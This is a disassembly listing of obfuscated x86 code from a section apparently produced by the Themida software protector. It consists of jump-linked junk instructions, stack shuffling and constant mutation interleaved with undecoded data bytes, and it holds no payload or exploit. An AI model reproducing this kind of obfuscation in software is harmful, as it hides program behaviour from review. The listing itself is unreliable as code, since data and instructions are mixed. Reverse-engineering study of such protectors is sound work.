; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5B04h, 6A44E924h,	77FF0000h, 59669D1Ch, 9C241CD3h
		dd 0FFB0C1E9h, 242C8BFFh, 5AE6E9h, 0F6CDFE00h, 68DDh, 2C280000h
		dd 242C8A24h, 3A3FE9h, 2434FF00h, 495CE9h, 0B9515000h
		dd 25B064F4h, 0B064F6B8h, 59C82925h, 5758C701h,	42474FFh
		dd 83243C8Bh, 0AE904C4h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549A97:				; CODE XREF: Themida_:0054E6BAj
		push	ebp
		jmp	loc_54ED47
; ---------------------------------------------------------------------------
		db 20h,	0EAh, 8Bh
		dd 0C483240Ch, 0FFC28004h, 2829B551h, 912C59EAh, 6866D028h
		dd 89666681h, 91B22414h, 7010E9h
		db 0
; ---------------------------------------------------------------------------

loc_549AC1:				; CODE XREF: Themida_:00550C3Cj
		sub	ebx, 0A118E100h
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		dec	edx
		sub	edx, 6A4D72D5h
		inc	edx
		neg	edx
		jmp	loc_550D14
; ---------------------------------------------------------------------------
		dw 0FF50h
		dd 58042474h, 8B24048Fh, 57E92424h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549AEF:				; CODE XREF: Themida_:0054FE78j
		pop	ebp
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	ebx
		push	edx
		pop	ebx
		mov	edx, [esp]
		jmp	loc_5491DC
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFD62Ah, 240C8B66h, 4EC8156h, 54000000h, 8124048Fh
		dd 42404h, 348B0000h, 4C48324h,	0CEDAE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549B2E:				; CODE XREF: Themida_:00548C1Dj
		pop	ecx
		sub	esi, 77C62FF7h
		add	esi, ecx
		add	esi, 77C62FF7h
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_54A67C
; ---------------------------------------------------------------------------

loc_549B48:				; CODE XREF: Themida_:0054D9D8j
		push	ebx
		push	75F77ED8h
		pop	ebx
		push	edx
		jmp	loc_546038
; ---------------------------------------------------------------------------

loc_549B55:				; CODE XREF: Themida_:0054802Dj
		push	ecx
		mov	ecx, 4
		jmp	loc_54BE0D
; ---------------------------------------------------------------------------
		dd 4C481h, 0C5830000h, 242C3302h, 33242C31h, 248B242Ch
		dd 4096624h, 93E99C24h,	0BEFFFFAFh, 3C2379CAh, 5151E9h
		db 0
; ---------------------------------------------------------------------------

loc_549B89:				; CODE XREF: Themida_:0054AFDCj
		pop	ebp
		jmp	loc_548DD3
; ---------------------------------------------------------------------------

loc_549B8F:				; CODE XREF: Themida_:005485D6j
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]

loc_549BC2:				; CODE XREF: Themida_:loc_5485BEj
					; Themida_:0054A1DCj
		push	dword ptr [edi+24h]
		push	4921h
		mov	[esp], edx
		mov	edx, 350A3FA5h
		jmp	loc_5492C9
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4C681h, 0EC810000h, 4, 48D7E9h, 51170400h, 0A6E98BB1h
		dd 66000006h, 3166F731h, 3366243Ch, 3166243Ch, 0BE9243Ch
		dd 81FFFFAFh, 6E94B8F1h, 59CB01B8h, 4C381h, 1C870000h
		dd 2C815C24h, 7C006D24h, 5CD7E90Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549C26:				; CODE XREF: Themida_:00550F64j
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	10B2h
		mov	[esp], eax
		mov	eax, 0FFFFFFFFh
		jmp	loc_54DB26
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 3E95924h, 0E900004Fh, 0FFFFAEC2h, 525EF321h,	295445BAh
		dd 0F7DAF75Eh, 12CA81D2h, 81372B3Dh, 0E6609DEAh, 0E9D3095Dh
		dd 5F0Ah, 4C181h, 0C1830000h, 240C8704h, 74FF535Ch, 8F5B0424h
		dd 9AE92404h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549C8B:				; CODE XREF: Themida_:0054CB4Fj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54D542
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 38880000h, 81241C8Bh, 4C4h, 0D55FE900h, 348BFFFFh
		dd 4C48324h, 5C24048Fh,	24048B66h, 57E38953h, 4BFh, 0EC0BE900h
		dd 1CF6FFFFh, 0DFE99C24h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549CD7:				; CODE XREF: Themida_:005455ECj
		push	edi
		mov	edi, esp
		jmp	loc_54D9FC
; ---------------------------------------------------------------------------
		db 2Dh
		dd 6F432CEFh, 5556D801h, 855B4DBDh, 2CABBE36h, 0EE315BC5h
		dd 14F7565Dh, 0D6F75E24h, 8107EEC1h, 821997CEh,	10EE8139h
		dd 1CA976Dh, 335B5EF0h,	4312404h, 24043324h, 6624248Bh
		dd 57240C8Bh, 243C8B54h, 4C481h, 0BA520000h, 4,	34FFD701h
		db 24h,	5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_550647
; ---------------------------------------------------------------------------

loc_549D44:				; CODE XREF: Themida_:0054760Aj
		neg	edx
		xchg	edx, edi
		add	edi, 42F4426Ch
		jmp	loc_54F6E1
; ---------------------------------------------------------------------------

loc_549D53:				; CODE XREF: Themida_:0054F6A2j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_54E8BE
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 9C2404D3h, 0FFADA5E9h, 56E289FFh,	675C0FBEh
		dd 0C2CE8128h, 0F717351Bh, 44DE9D6h, 34870000h,	0C3815C24h
		dd 2, 3E74E953h, 0C7010000h, 0A4E95058h, 0FFFFFFE5h, 669D1C77h
		dd 24041858h, 0AD68E99Ch, 34FFFFFFh, 89525824h,	4BF57E2h
		dd 1000000h, 42BCE9FAh,	0CA810000h, 59951EB1h, 2E99F281h
		dd 0D689C3CBh, 5EF3295Ah, 652E4F05h, 2DD80159h,	59652E4Fh
		dd 81241C8Bh, 4C4h, 242C8B00h, 0E904C483h, 0FFFFAD22h
; ---------------------------------------------------------------------------

loc_549DF0:				; CODE XREF: Themida_:00548A62j
		mov	esi, 142D6473h
		jmp	loc_5508C3
; ---------------------------------------------------------------------------

loc_549DFA:				; CODE XREF: Themida_:005493E6j
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_550F2F
; ---------------------------------------------------------------------------
		db 31h
		dd 0ED815FFEh, 59DF1E08h, 0C581F529h, 59DF1E08h, 5DEF295Eh
		dd 0B7E9565Eh, 81FFFFDDh, 4ECh,	241C8900h, 0FFF274E9h
		dd 7EAC1FFh, 25D3E9h, 0BDC98100h, 813D2035h, 0BE4DBFC1h
		dd 0BAF1814Dh, 57CCFCC3h, 17081DBFh, 0E3F7815Eh, 816ACF6Dh
		dd 346193E7h, 0BEF78157h, 0E971361Ah, 4BE7h
; ---------------------------------------------------------------------------

loc_549E6C:				; CODE XREF: Themida_:0054F749j
		mov	esi, [esp]
		jmp	loc_54F521
; ---------------------------------------------------------------------------

loc_549E74:				; CODE XREF: Themida_:005463ADj
		add	esi, 4
		jmp	loc_54A281
; ---------------------------------------------------------------------------
		db 42h
		dd 0EA98E942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549E86:				; CODE XREF: Themida_:0054590Aj
		xor	eax, 7DBE054Fh
		mov	ebx, eax
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_548F30
; ---------------------------------------------------------------------------

loc_549E9F:				; CODE XREF: Themida_:0054ADC5j
		xor	bl, 3Bh
		add	al, bl
		jmp	loc_54FBDB
; ---------------------------------------------------------------------------
		db 0F6h, 0D0h, 0E9h
		dd 4B6Dh, 4244C31h, 24348B59h, 0E9E28952h, 4528h
; ---------------------------------------------------------------------------

loc_549EC0:				; CODE XREF: Themida_:00545160j
		add	al, 52h
		add	al, 60h
		sub	al, 2Fh
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_550613
; ---------------------------------------------------------------------------
		dd 0FFAC35E9h, 8E8C1FFh, 6850C831h, 3802h, 58241C89h, 83241C8Bh
		dd 148904ECh, 0B5E95424h, 81000009h, 4ECh, 242C8900h, 49D0BE56h
		dd 8B560C2Bh, 0C481242Ch, 4, 46ED815Eh,	0C10F9D01h, 0ED8104EDh
		dd 6CAC7210h, 6ADFE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549F2A:				; CODE XREF: Themida_:0054A331j
		mov	eax, 1536488Eh
		xor	eax, 2D723BDAh
		mov	edx, eax
		pop	eax
		inc	edx
		jmp	loc_54D4EF
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 5E35BDBFh, 0EBD5523h, 0E93ACB0Ah, 838h, 4C581h, 0C5810000h
		dd 4, 31242C33h, 2C33242Ch, 3DC5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549F6A:				; CODE XREF: Themida_:0054995Fj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5500AD
; ---------------------------------------------------------------------------
		dd 4C281h, 89E90000h, 0C1000016h, 0E0C106E0h, 6E2CE907h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549F8E:				; CODE XREF: Themida_:0054D580j
		jmp	loc_544B12
; ---------------------------------------------------------------------------

loc_549F93:				; CODE XREF: Themida_:0054C10Dj
		push	eax
		push	101B4FD6h
		mov	eax, [esp]
		add	esp, 4
		push	esi
		jmp	loc_548D87
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 815D5455h, 4C5h, 4BA5200h, 0E9000000h, 0FFFFBB7Fh, 835FF801h
		dd 12E904ECh, 1000026h,	243C8BF8h, 6A30E9h
		db 0
; ---------------------------------------------------------------------------

loc_549FD1:				; CODE XREF: Themida_:0054AEEBj
		push	edi
		jmp	loc_549549
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFAB35E9h, 5AB951FFh, 0C129CF41h, 0F18102E1h, 46D27130h
		dd 0F181D1F7h, 1E108BA3h, 8759C801h, 835C2404h,	348704C6h
		dd 24248B24h, 7968E1F7h, 89000068h, 0E789243Ch,	8904EC83h
		dd 4BA2414h, 0E9000000h, 58BDh,	48BC331h, 4C48124h, 0E9000000h
		dd 59ADh
; ---------------------------------------------------------------------------

loc_54A030:				; CODE XREF: Themida_:0054ED12j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_547EB1
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0E8h
		dd 8B3F4357h, 0F9E92404h, 89FFFFC1h, 8BD989D3h,	0C481241Ch
		dd 4, 0E2E9415Ah, 1FFFFFDh, 79BD55F7h, 4D263579h, 8103E5C1h
		dd 0C36E5FEDh, 5CE91Eh,	0EC810000h, 4, 0E9240C89h, 132Dh
		dd 0DDF7815Bh, 0E9697B73h, 0FFFFE097h, 0BF57EBD1h, 1, 4167C381h
		dd 0FB016934h, 4167EB81h, 0F75F6934h, 8E3C1D3h,	0F5F2BF57h
		dd 96E978A1h, 8F000059h, 57E94047h, 54FFFFAAh, 0E5BD555Ah
		dd 0E92BD15Eh, 5F58h
; ---------------------------------------------------------------------------

loc_54A0C8:				; CODE XREF: Themida_:00545A7Aj
		pop	esp
		jmp	loc_54EEE6
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 7E2C0223h, 13BF5756h, 0BE60CE3Ch, 9745EAE2h,	0FFFD26E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A0E5:				; CODE XREF: Themida_:0054B886j
		add	al, bh
		mov	ebx, [esp]
		add	esp, 4
		add	al, bl
		push	edx
		mov	dh, 0D9h
		dec	dh
		jmp	loc_545E0E
; ---------------------------------------------------------------------------
		dd 240C8B5Fh, 8904EC83h, 5E542434h, 0FFD86AE9h,	241C31FFh
		dd 8B241C33h, 0CFF2424h, 0F3E99C24h, 66FFFFA9h,	52C18059h
		dd 0E6E9D928h, 5AFFFFE9h, 7E2C14Ah, 10685657h, 5E3F9D76h
		dd 658AEE81h, 0EE815904h, 0B420C010h, 0F75EF789h, 4E7C1D7h
		dd 7DBFE781h, 0F7811552h, 714510DCh, 3284F781h,	0FA31186Eh
		dd 8AE2815Fh, 537FB20Ah, 0EA29E0BBh, 5FB95112h,	0E934620Ah
		dd 26D5h
; ---------------------------------------------------------------------------

loc_54A178:				; CODE XREF: Themida_:0054E56Ej
		mov	ecx, [esp]
		push	edi
		jmp	loc_54FD15
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 94h
		dd 21B41EBDh, 0BF575DEAh, 0DEEFDE7Ch, 15FFA01h,	24148BD3h
		dd 81E68956h, 4C6h, 4C68300h, 0FFFBD9E9h, 0D8E9ACFFh, 59000015h
		dd 4205D829h, 553A247Fh, 96BA5257h, 89061D3Dh, 24148BD7h
		dd 4C481h, 0EEE90000h, 81FFFFE8h, 88A02CEEh, 0F4F1E9C0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A1DA:				; CODE XREF: Themida_:00550481j
		or	eax, eax
		jz	loc_549BC2
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_54C547
; ---------------------------------------------------------------------------
		dd 4C481h, 6D680000h, 89000053h, 2C81243Ch, 0C168424h
		dd 24148B1Ch, 298968h, 0AA07E900h, 8158FFFFh, 4C4h, 24048F00h
		dd 2404005Ch, 0A8ECE99Ch, 0C483FFFFh, 0FFBF5704h, 0E9194541h
		dd 24E1h
; ---------------------------------------------------------------------------

loc_54A234:				; CODE XREF: Themida_:00550B89j
		xchg	ebp, esi
		not	ebp
		xchg	ebp, esi
		xor	esi, 1C71060Eh
		neg	esi
		not	esi
		xor	esi, 2C300158h
		jmp	loc_550116
; ---------------------------------------------------------------------------
aUsZ		db 'UИ╠Z',0
		dd 7DC38100h, 810DFD15h, 8959B2C3h, 81E3D102h, 0F960C4E3h
		dd 0ACC38107h, 935B14Fh, 0E56FE9DFh, 0C583FFFFh, 242C3302h
		dd 0FFAF40E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A281:				; CODE XREF: Themida_:00549E7Aj
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		jmp	loc_54817A
; ---------------------------------------------------------------------------
		db 0B8h
		dd 41590C2Dh, 48A3E9h, 8E9C000h, 0E90AC180h, 5A7Eh
; ---------------------------------------------------------------------------

loc_54A2A4:				; CODE XREF: Themida_:00545A13j
		mov	eax, 5389367Dh
		jmp	loc_54AEF6
; ---------------------------------------------------------------------------

loc_54A2AE:				; CODE XREF: Themida_:0054DFABj
		pop	edx
		push	ebx
		mov	ebx, esp
		push	esi
		jmp	loc_54AC04
; ---------------------------------------------------------------------------
		dd 8324348Bh, 4CE904C4h, 68FFFFEDh, 519Eh, 0B8240489h
		dd 3F093682h, 19B3C381h, 0C30175F1h, 0FFCE4EE9h, 0E2B850FFh
		dd 5165D273h, 0B54ACCB9h, 59C8294Fh, 59F5EE81h,	0C62965BFh
		dd 59F5C681h, 15865BFh,	16C681C6h, 0E9161D29h, 1E34h, 0FFA805E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A30D:				; CODE XREF: Themida_:00550121j
		add	ebx, 291DD885h
		add	ecx, ebx
		pop	ebx
		mov	[ecx], edx
		push	dword ptr [esp]
		jmp	loc_548998
; ---------------------------------------------------------------------------
		dd 405h, 4B34E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A32A:				; CODE XREF: Themida_:005508F7j
		push	edi
		not	dword ptr [esp]
		pop	edi
		push	edx
		push	eax
		jmp	loc_549F2A
; ---------------------------------------------------------------------------
		dw 0E942h
		dd 0FFFFFAF9h
; ---------------------------------------------------------------------------

loc_54A33C:				; CODE XREF: Themida_:005486CDj
		pop	edi
		jmp	loc_549111
; ---------------------------------------------------------------------------

loc_54A342:				; CODE XREF: Themida_:0054E5DCj
		add	edi, edx
		sub	edi, 61D94855h
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_54CE17
; ---------------------------------------------------------------------------
		dw 0E883h
		dd 24048704h, 0FFB01DE9h, 0BBE981FFh, 0E97C387Eh, 22DCh
		dd 110D355Bh, 0C229199Fh, 0E924048Bh, 0FFFFAE2Ah, 583EB850h
		dd 592D1E4Eh, 0E913C930h, 0FFFFC4FFh, 5215BD55h, 0F5815F94h
		dd 6AFB7FC8h, 36ED814Dh, 81149D10h, 1EB774EDh, 8BEA29FFh
		dd 0C481242Ch, 4, 539ABE56h, 74013A1Ah,	34FF0824h, 0C4815E24h
		dd 4, 4245401h,	4246C81h, 3A1A539Ah, 2434FF5Ah,	8124048Bh
		dd 4C4h, 48F0E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A3E2:				; CODE XREF: Themida_:0054B8ACj
		pop	ebp
		jmp	loc_55110D
; ---------------------------------------------------------------------------
		dd 5504C483h, 41E9C589h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A3F3:				; CODE XREF: Themida_:0054CF78j
		not	esi
		add	esi, 61BD1FF4h
		add	esi, 4B96583Fh
		not	esi
		add	esi, 0A1AF7E8h
		add	ebp, esi
		pop	esi
		add	ebp, 4
		jmp	loc_5457D7
; ---------------------------------------------------------------------------
		db 68h
		dd 3086h, 0E9240C89h, 382Eh, 243C8B54h,	0FFEE78E9h, 48B66FFh
		dd 5B545324h, 64C668h, 243C8900h, 5BB46856h, 348B47CEh
		dd 4C48124h, 0C1000000h, 0BB5303EEh, 0F706348Eh, 895BDE01h
		dd 24348BF7h, 0FFC539E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A461:				; CODE XREF: Themida_:00545573j
		mov	edi, 7BF0172Bh
		or	eax, edi
		jmp	loc_5490EC
; ---------------------------------------------------------------------------
		db 80h,	0C2h, 35h
		dd 8AF280h, 0BBE95AD4h,	8100000Fh, 0AC042444h, 0E94B4071h
		dd 18F0h, 761868h, 241C8900h, 4BBh, 5BD98900h, 0C8BCE01h
		dd 59545124h, 6636E9h, 81E90100h, 0E673A9E9h, 242C8B74h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		push	50FDh
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_544E59
; ---------------------------------------------------------------------------
aSs_		db '^ИА.',0
		db 0
; ---------------------------------------------------------------------------

loc_54A4E7:				; CODE XREF: Themida_:0054A6C4j
		xor	eax, edi
		push	edx
		jmp	loc_54FEAC
; ---------------------------------------------------------------------------
		db 80h
		dd 0F58006CDh, 59EE009Fh, 8FE9D6F6h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A4FF:				; CODE XREF: Themida_:0054FAC0j
		or	esi, 47DE7242h
		push	eax
		mov	eax, 1954396h
		not	eax
		dec	eax
		push	ecx
		mov	ecx, 58474579h
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54ACF2
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 6Eh
		dd 0BAFFFFB6h, 4, 0FFFE4BE9h, 24148BFFh, 4C481h, 48F0000h
		dd 24248B24h, 24048B66h, 301D68h, 24348900h, 9E68E689h
		dd 8900002Fh, 0F2E9240Ch, 0E9FFFFC6h, 0FFFFA5B2h, 0F480DCF6h
		dd 58E20077h, 46CCE9h, 241C8B00h, 0FFCCFEE9h, 0C18159FFh
		dd 4, 4CBB5352h, 8177B516h, 0F82C11CBh,	96F38139h, 810C7C4Bh
		dd 40C04CC3h, 0FFDA8998h, 0BDE92434h, 66FFFFBCh, 5966CB29h
		dd 0E9C0B70Fh, 2529h, 0DE5E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A5B2:				; CODE XREF: Themida_:0054E373j
		push	edi
		mov	edi, 1BA66002h
		neg	edi
		shr	edi, 5
		sub	edi, 16BC3CAAh
		not	edi
		inc	edi
		xor	edi, 0F9D131Ah
		mov	ebx, edi
		pop	edi
		dec	ebx
		shl	ebx, 1
		jmp	loc_54D585
; ---------------------------------------------------------------------------

loc_54A5D7:				; CODE XREF: Themida_:0054D699j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		jmp	loc_550CFD
; ---------------------------------------------------------------------------

loc_54A5F8:				; CODE XREF: Themida_:0054DC6Cj
		push	cx
		pushf
		jmp	loc_54A770
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 0FFCE76E9h, 4EF81FFh,	87000000h, 545C243Ch
		dd 8324048Fh, 5A042404h, 4C281h, 0BE560000h, 4,	0A5E9F201h
		dd 2D000000h, 4E0CF09Dh, 473FE9h, 8BF98900h, 0C483243Ch
		dd 0E9C80104h, 0FFFFE0D1h
; ---------------------------------------------------------------------------

loc_54A64C:				; CODE XREF: Themida_:0054ACD3j
		add	bl, 1Ch
		add	bl, al
		jmp	loc_550761
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 99716963h, 1E15E9h
		db 0
; ---------------------------------------------------------------------------

loc_54A661:				; CODE XREF: Themida_:0054CCD1j
		xor	bl, al
		jmp	loc_54FA26
; ---------------------------------------------------------------------------

loc_54A668:				; CODE XREF: Themida_:0054E872j
		add	esp, 4
		jmp	loc_54BB3C
; ---------------------------------------------------------------------------
		dd 63685152h, 0E92B9F05h, 2EF3h
; ---------------------------------------------------------------------------

loc_54A67C:				; CODE XREF: Themida_:00549B43j
		mov	eax, 297168DEh
		sub	esi, eax
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_546173
; ---------------------------------------------------------------------------
		dw 0F909h
		dd 2CF3E9h, 9C506600h, 0FFA471E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A6A1:				; CODE XREF: Themida_:00544BFDj
		add	ebx, 4
		push	ecx
		jmp	loc_5461FC
; ---------------------------------------------------------------------------

loc_54A6AD:				; CODE XREF: Themida_:0054EAD6j
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	eax, edi
		xor	edi, eax
		jmp	loc_54A4E7
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 33242C31h, 0E95C242Ch, 0FFFFED72h, 2414875Eh, 5AE9575Ch
		dd 31FFFFEFh, 14332414h, 24248B24h, 9C242CD3h, 0FFA41DE9h
		dd 0E8215EFFh, 0E951535Dh, 0FFFFDEAAh
; ---------------------------------------------------------------------------

loc_54A700:				; CODE XREF: Themida_:00549197j
		pop	ebx
		sub	eax, 90185277h
		add	edi, 7C8D6C50h
		push	ebp
		mov	ebp, 612C3922h
		jmp	loc_54C6DC
; ---------------------------------------------------------------------------
		db 28h
		dd 838104D8h, 148904ECh, 52B75324h, 0FA3061B2h,	0BFA4E95Bh
		dd 835DFFFFh, 148704EAh, 0C895C24h, 79B524h, 240C8BEBh
		dd 4C481h, 0E9520000h, 0FFFFA640h, 8124348Bh, 4C4h, 0BD555F00h
		dd 4, 815DEF01h, 2C7h, 243C8700h, 0E924248Bh, 0FFFFC64Ah
; ---------------------------------------------------------------------------

loc_54A770:				; CODE XREF: Themida_:0054A5FBj
		jmp	loc_544B12
; ---------------------------------------------------------------------------
		db 1, 0E9h, 5Dh
		dd 0F29DF181h, 0CB89AD6Dh, 0E9240C8Bh, 0FFFFFC60h, 0E95DEF01h
		dd 3EB7h, 1C8BDF31h, 29E95024h,	80FFFFAEh, 5CE96EC1h, 8900001Fh
		dd 84BF243Ch, 5345998h,	5ED0683h, 832DF801h, 8B05ED06h
		dd 8950243Ch, 0BA5253E0h, 235C71F0h, 4524C1BBh,	5AD33145h
		dd 5E0EE381h, 514B249Dh, 0D612BFB9h, 0D9F74116h, 0CF18149h
		dd 81035108h, 7F09A4C9h, 3AC18131h, 3123CE81h, 0EB8159CBh
		dd 3B573D0Ah, 575BD801h, 4BFh, 8BF80100h, 0C481243Ch, 4
		dd 2474FF50h, 48F5804h,	24248B24h, 0FFFAA6E9h, 8BD301FFh
		dd 0C4832414h, 81C32904h, 7F343EEBh, 9CC3810Ch,	586CDF62h
		dd 0D7E930FFh, 5BFFFFA2h, 529CCD81h, 0F5810A80h, 7AC252DEh
		dd 9E9EF01h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A84F:				; CODE XREF: Themida_:0054B729j
		pop	esp
		jmp	loc_550BE6
; ---------------------------------------------------------------------------
		db 1, 0CBh, 59h
		dd 0E9241C87h, 470Dh, 89241C89h, 266852E3h, 8B6B032Fh
		dd 0C4832414h, 0C2814A04h, 5E801C12h, 1379EA81h, 0EA835DAFh
		dd 8BD55FFh, 4D604925h,	0E902E5C1h, 0FFFFF8F1h
; ---------------------------------------------------------------------------

loc_54A890:				; CODE XREF: Themida_:0054C1DAj
		add	bh, al
		pop	eax
		jmp	loc_54EC2C
; ---------------------------------------------------------------------------

loc_54A898:				; CODE XREF: Themida_:005487B5j
		add	ebp, ebx
		jmp	loc_54E6B9
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8059EE88h, 0EE8081CEh, 0E9F02889h, 0FFFFDF81h, 530FE95Ah
		dd 0CB890000h, 0ABC38159h, 0E9586433h, 3365h, 4C781h, 0C7810000h
		dd 4, 0FFEFB6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A8D5:				; CODE XREF: Themida_:005503D2j
		push	dword ptr [edi+eax*4]
		push	ebx
		mov	ebx, 6D10014Bh
		push	edx
		mov	edx, 0B2DE78D5h
		add	ebx, edx
		jmp	loc_54C54F
; ---------------------------------------------------------------------------
		db 56h
		dd 337C06BEh, 5EF10917h, 6320E9h, 4077FF00h, 0FFA211E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A901:				; CODE XREF: Themida_:0054DA3Ej
		push	705Ah
		mov	[esp], ebx
		mov	ebx, 5AFE05D3h
		sub	ebx, 1
		push	edi
		jmp	loc_54C953
; ---------------------------------------------------------------------------

loc_54A91A:				; CODE XREF: Themida_:0054E8B4j
		pop	esp
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_54E6B1
; ---------------------------------------------------------------------------
		db 8Fh
		dd 5852E902h, 77FF0000h, 11589D1Ch, 0E99C2404h,	0FFFFA1D6h
		dd 0E904EC83h, 4F16h, 3AE95E66h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A94B:				; CODE XREF: Themida_:00550C2Cj
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_550C7F
; ---------------------------------------------------------------------------

loc_54A95F:				; CODE XREF: Themida_:0054554Aj
		mov	esp, [esp]
		sub	esp, 2
		jmp	loc_54E6BF
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0B8h
		dd 0C14E3A78h, 0F28103E2h, 76CAB1Ah, 79C9C681h,	8EE913A6h
		dd 81000016h, 4C2h, 4BD5500h, 1000000h,	14875DEAh, 0D8015C24h
		dd 0F526AB2Dh, 6AFE95Bh, 68570000h, 21733402h, 0A4CF815Fh
		dd 81124213h, 562F14C7h, 4E7C11Dh, 300DBB53h, 0DF312A38h
		dd 5FFA895Bh, 0FFDF95E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A9CD:				; CODE XREF: Themida_:005480EDj
		xor	edi, ebp
		xor	ebp, edi
		xor	edi, ebp
		add	ebp, 1
		jmp	loc_54CB80
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 8B243C87h, 34FF2424h, 2434FF24h, 329AE959h, 8B660000h
		dd 0EC83240Ch, 241C8904h, 0BA525B54h, 1D5277DEh, 0F702E2C1h
		dd 2FB668D2h, 4890000h,	0EBBD5524h, 0D1690856h,	0BDCAE9EDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AA22:				; CODE XREF: Themida_:0054B7B1j
		mov	[esp], eax
		mov	eax, 2
		add	ebp, eax
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5500D1
; ---------------------------------------------------------------------------

loc_54AA3E:				; CODE XREF: Themida_:0054CAD8j
		push	19B5h
		mov	[esp], esi
		push	ebp
		mov	ebp, 7B0708A1h
		push	ebp
		jmp	loc_5474B1
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 6F62097Fh, 6856CF01h, 1571h,	0E9242C89h, 0FFFFB42Ah
		dd 0E289525Eh, 4C281h, 0D9E90000h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54AA77:				; CODE XREF: Themida_:0054C50Fj
		push	ebp
		push	ebx
		jmp	loc_54F0FF
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 8704C383h, 0BF5C241Ch, 3E2E21F0h,	0FFD59DE9h
		db 0FFh
; ---------------------------------------------------------------------------

